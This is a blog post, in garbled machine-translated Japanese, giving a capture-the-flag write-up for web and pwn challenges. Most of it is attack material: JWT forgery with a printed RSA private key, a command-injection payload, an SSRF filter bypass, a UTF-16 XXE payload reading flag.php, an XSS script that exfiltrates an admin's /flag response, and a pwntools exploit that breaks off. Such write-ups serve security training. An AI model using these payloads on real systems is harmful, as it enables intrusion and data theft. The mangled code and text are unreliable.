Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86371356

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1。 Qinglong Group Web

web1

最初にログインできます。ログインした後、トークンとセッションが生成されます。

これは、最初にJWTを偽造した元の質問です。

ctftime.org/downunderctf 2021(オンライン)/jwt /書き込み

2つのトークンを作成し、RSA_SIGN2Nツールを使用して公開キーを生成します

python3 jwt_forgery.py eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfhywfhin0.entobp4kzw6jbuqkckccc7fjt-fccqq9momhkwrqkpo12bsg464ytx2qni bluzgqjhndlgf2ukqb6owxhfm0qikrbg1skub00fo2kmbkevrlpygj7txozzconcndgdl-egama-msn321rnw-aickjsij5tf0hzqgbu8ucg1zd8ujaybcj3oxoi eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imeifq.iuanu3g_ztypjdnoj9gockfro1ooqlmqt0to_wyli9i9pluhxbbid5d5d2 wfif-sihgpudtzpvshie1ao0qnmlp3x7pvf-qb-juaslvbnpr1rckh2d3kq4u1d2wedvsgwvtjya6s5nxrvjpzdcpzlzmx_6ywn8cavk3k3k3kjltv8787o。img

公開キーを入手してください

-----公開キーを開始----

migfma0gcsqgsib3dqebaquaa4gnadcbiqkkbgsslumfczg/ysg4ixoi6nkguwnnv

IPZZTRNA045EH2XZZY/ZYRWDOJSTMH5WXG6NOVVNAY/ETX2XPPC6J1J //NZC1FAN

mncyra47xiw0rwzbdsabcgnwu3qp2nr7ar0/tzmsclncdwa7rkzljm8fs7zmb502

ZMSV0AXMGN5UMH9FCWIDAQAB

-----公開キーを終了します------次にrsactftoolを使用して秘密鍵を取得します

img

----- RSA秘密キーを開始----

miicoqibaakbgsslumfczg/ysg4ixoi6nkguwnnvipzztrna045eh2xzzy/zyrwd

OJSTMH5WXG6NOVVNAY/ETX2XPPC6J1J //NZC1FANMNCYRA47XIW0RWZBDSABCGNW

U3QP2NR7AR0/TZMSCLNCDWA7RKZLJM8FS7ZMB502ZMSV0AXMGN5UMH9FCWIDAQAB

AOGBC5/R+NCV2+UWXTJL8I6UJTLIFDOSSXKBJNIIKLXQH3L8IAAFX1I9KTXYEICW

TCGTUKX9GJD+XUWO0KOKJCG3HZC7BEFLKIOSK8DSWSPFEXYQPCE1EFOKHKC9RBIQ

urc9qirqjtzf5vdu2usj5ddrgtqtmpxm/ibu1tlpisy8y5tjaogbap2mj8b+pnwu

scp0eyh999ogr6jblqlvwysv34udqarcfjkqob60somzpgcypr/auhfdisnvkyxlk

s7ibebfmetwywux28ogfv7xtgf7rflwmakyxy4ml/dfhonv8khz6h5wpyxpl3wli

ujcsssjngxhj4aegltrruyspixflrdfvagelaogbalrhzoo+tjwzq2xpmveqjvjl

bxfs2wbcf/theuzb8zw/axjncuj1ilxubpzpvigtkppd6mxihv13j/1+3qnyyein

hf6vohlxzq6itrdetafqjp4vubigr+gpsqxqchl5bnue1qmdy3aw7ltarzz8iq5i

6gmi+wdryp+goqxd65upageraogaujts5pfhst6t8hfovcf87es6qguqrtlwagwr

TCFRQKB9TT1QRFGSADZLPUJ+QIRDQAM80AMNCVZDVTDG8NPMCKFP/R+OECPHPOUC

QSFY4PEZPMLYB7DCLCQ0SHTTPMZTTHTKDR+GFFDEDBPFOJTQC16QDNGSPBMKEPFZ

JQTA99E=

-----END RSA PRIVATE KEY----------------------------------------------------------------------------------------------------------------

ゲームルーティング機能にアクセスできます。ここに海外の元の質問があります

AIS3-PRE-EXAM-2024-WRITEUP | Naupのブログ

EMO式を使用してCDフラグを作成します; P: | cat *

ソースコードを直接読み取ると、36F8EFBEA152E50B23290E0ED707B4B0のSecret_Keyを取得できます

それからそれを偽造します

img

次に、ファイルをアップロードする機能を使用できます。まず、このパートのソースコードを監査しましょう。

@app.route( '/upload'、method=['get'、 'post']))

def upload():

token=request.cookies.get( 'token')

token:ではない場合

flash( '最初にログインしてください'、「警告」)

return redirect(url_for( 'login'))

ペイロード=decode_jwt(token)

form=uploadform()

ペイロードまたはペイロード['username']!='admin':でない場合

error_message='このページにアクセスする許可がありません。ユーザーのユーザー名は管理者ではありません。」

return render_template( 'upload.html'、form=form、error_message=error_message、username=payload ['username'])

セッション[「役割」]またはセッション['ロール']!='Admin':ではない場合

error_message='このページにアクセスする許可がありません。あなたの役割は管理者ではありません。」

return render_template( 'upload.html'、form=form、error_message=error_message、username=payload ['username'])

form.validate_on_submit():の場合

file=form.avatar.data

file:の場合

filename=secure_filename(file.filename)

files={'file':(filename、file.stream、file.content_type)}

php_service_url='http://127.0.0.1/upload.php'

response=requests.post(php_service_url、files=files)

response.status_code==200:の場合

flash(respons.text、 'success')

else:

flash(「ファイルをPHPサービスにアップロードできなかった」、「危険」)

return render_template( 'upload.html'、form=form)

@app.route( '/view_uploads'、method=['get'、 'post']))

def View_uploads():

token=request.cookies.get( 'token')

form=gameform()

token:ではない場合

error_message='最初にログインしてください'

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

ペイロード=decode_jwt(token)

Payload:ではない場合

error_message='無効または期限切れのトークン。もう一度ログインしてください。」

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

ペイロードではない場合['username']=='admin':

error_message='このページにアクセスする許可がありません。ユーザーのユーザー名は管理者ではありません」

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

user_input=none

form.validate_on_submit():の場合

filepath=form.user_input.data

pathurl=request.form.get( 'path')

if( 'www.testctf.com' 'not in patturl)または(' 127.0.0.1 'in pathurl)または('/var/www/html/uploads/'filepath)または('。 '' in filepath):

error_message='www.testctf.comは、パスおよび/var/www/html/uploads/berse in filepathで必要です。

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

params={'s': filepath}

try:

response=requests.get( 'http://'+pathurl、params=params、timeout=1)

return render_template( 'view_uploads.html'、form=form、user_input=respons.text)

:を除く

error_message='500!サーバーエラー '

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

return render_template( 'view_uploads.html'、form=form、user_input=user_input)ポート80にPHPサービスがあり、 /uploadルートはUPLAODSディレクトリにファイルをアップロードできます。 view_uploadsルートの下でそれらを表示できますが、WAFがあります

if( 'www.testctf.com' 'not in baturl)または(' 127.0.0.1 'in pathurl)または('/var/www/html/uploads/'filepath)または('。 ''。 ''。 ')その後、127.0.0.1の代わりに0.0.0を使用でき、SSRFのジャンプを使用してドメイン名制限をバイパスできます

POST /VIEW_UPLOADS HTTP /1.1

HOST: 0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv3360131.0)gecko/20100101 firefox/131.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/PNG、Image/SVG+XML、*/*; Q=0.8

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Accept-Encoding: gzip、deflate

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 211

Origin: http://0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732

Connection:閉じます

参考文献: http://0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732/VIEW_UPLOADS

Cookie3360セッション=eyjjc3jmx3rva2vuijoiymqyntjlzdzlzzlytq5zmjmowqyzjjjmmq0ytblnjc1yz jhyzlmnmu5myisinjvbguioijhzg1pbij9.zybmxg.elz3z69hygp6lg3vjimnsktlcno; token=eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfkbwluin0.dnqifndfowgggggnuk95sqa5gdu_d6tdv95ltu97wup8ekqx6zr NVVSNP8XKVVFSX0G3XVQBO5XHDXJNPM8LIIWX_KQ8FO8T0Q0Q0QBN1RJ5O2BGKGOZSSUWAURKG7ME6L4-XFIXI7P328F1T4EN_KSP91SES7-9LCN7JABBRUH1

アップグレード-Insecure-Requests: 1

priority: u=0、i

csrf_token=imjkmjuyzwq2zwe0owzizjlkmmyyzjkngewzty3nwmyywm5zjzlotmi.zybmag.rcaslc0xu8ep682ndtsz5peqsqpa th=www.testctf.com@0.0.0.0.0.0.0.0.0.0.0.Input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8submit=submit次に、最初にファイルをアップロードしてから読み取ることができます。 XMLファイルの読み込みに失敗したことが報告されていることがわかった場合、XMLを解析してXXEを直接ヒットすると推測しますが、システムなどの多くのキーワードをフィルタリングするため、UTF-16エンコードを使用してFlag.phpファイルを直接読み取ります

?xmlバージョン='1.0'?

!doctype交換[!エンティティの例システム 'php: //filter/convert.base64-encode/resource=/var/www/html/flag.php']

userinfo

FirstNameJohn/FirstName

lastnameexample;/lastName

/userinfoiconv -f utf8 -t utf16 1.xml3.xml

次に、3.xmlをアップロードし、それを読んでフラグを取得します

img

web2

コンテナのログインインターフェイスを開き、アカウントパスワードを自由に入力して、脆弱性インターフェイスを入力します。

これは、XSSの一目で上司に送信する機能です

その後、アクセス /フラグがあり、上司はそれにアクセスする必要があります。ここでは、XSSを送信してから、最初にボスにアクセス /フラグを実行してから、データをコンテンツに持ち込むことができます。

ScriptVar XMLHTTP=new XMLHTTPREQUEST();

xmlhttp.withcredentials=true;

xmlhttp.onreadystatechange=function(){

if(xmlhttp.readystate==4 xmlhttp.status==200){

var flagdata=xmlhttp.responsetext;

var flag1=btoa(flagdata);

var Remoteserverurl='/content/4a95828e3f0037bfe446ae0e693912df';

var xmlhttp2=new xmlhttprequest();

xmlhttp2.open( 'post'、remoteserverurl、true);

xmlhttp2.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');

xmlhttp2.send( 'content=' + encodeuricomponent(flag1))

}

};

xmlhttp.open( 'get'、 '/flag'、true);

xmlhttp.send();/script img

タスクを更新した後、ボスに送信します

img

その後、ページに戻って、フラグが送信されていることを確認します

img

pwn

pwn2

Image

ログイン関数から始めて、ユーザー名とパスワードを取得している限り入力できます。

Image

Vuln関数には2バイトのオーバーフローがあり、BUFのアドレスが漏れています。

Image

また、バックドア関数と /bin /sh stringも与えてくれました

Image

Image

完全な経験

PWNインポートから *

elf=elf( './short')

コンテキスト(arch=elf.arch、os=elf.os)

context.log_level='debug'

#libc=elf( './libc.so.6')

フラグ=0

url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'

po